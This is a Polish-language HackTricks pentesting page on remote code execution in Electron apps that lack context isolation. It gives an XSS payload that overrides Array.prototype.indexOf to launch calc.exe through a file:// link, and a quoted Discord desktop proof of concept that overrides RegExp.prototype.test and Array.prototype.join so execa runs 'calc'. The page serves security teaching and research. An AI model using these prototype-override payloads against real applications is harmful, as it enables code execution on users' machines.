hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
2024-02-11 01:46:25 +00:00

6 KiB

Electron contextIsolation RCE za pomocą kodu preload

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Przykład 1

Przykład z https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Ten kod otwiera linki http(s) w domyślnej przeglądarce:

Coś takiego jak file:///C:/Windows/systemd32/calc.exe można użyć do uruchomienia kalkulatora, ale SAFE_PROTOCOLS.indexOf temu zapobiega.

Dlatego atakujący mógłby wstrzyknąć ten kod JS za pomocą XSS lub dowolnej nawigacji strony:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Jako że wywołanie SAFE_PROTOCOLS.indexOf zawsze zwróci 1337, atakujący może ominąć zabezpieczenie i uruchomić kalkulator. Ostateczny exploit:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Sprawdź oryginalne slajdy, aby poznać inne sposoby uruchamiania programów bez konieczności pytania o uprawnienia.

Wygląda na to, że kolejnym sposobem na załadowanie i wykonanie kodu jest dostęp do czegoś takiego jak file://127.0.0.1/electron/rce.jar

Przykład 2: RCE w aplikacji Discord

Przykład z https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Podczas sprawdzania skryptów preload, odkryłem, że Discord udostępnia funkcję, która pozwala na wywoływanie niektórych dozwolonych modułów za pomocą DiscordNative.nativeModules.requireModule('NAZWA-MODUŁU') na stronie internetowej.
Tutaj nie mogłem użyć modułów, które można bezpośrednio wykorzystać do RCE, takich jak moduł child_process, ale znalazłem kod, w którym można osiągnąć RCE, nadpisując wbudowane metody JavaScript i ingerując w wykonanie udostępnionego modułu.

Poniżej znajduje się PoC. Potwierdziłem, że aplikacja calc jest uruchamiana, gdy wywołuję funkcję getGPUDriverVersions, która jest zdefiniowana w module o nazwie "discord_utils", z narzędzi deweloperskich, jednocześnie nadpisując RegExp.prototype.test i Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Funkcja getGPUDriverVersions próbuje uruchomić program przy użyciu biblioteki "execa", w następujący sposób:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Zazwyczaj execa próbuje wykonać "nvidia-smi.exe", który jest określony w zmiennej nvidiaSmiPath, jednakże ze względu na nadpisanie RegExp.prototype.test i Array.prototype.join, argument zostaje zastąpiony przez "calc" wewnętrznym przetwarzaniem _execa**_**.

Konkretnie, argument jest zastępowany poprzez zmianę dwóch następujących części.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: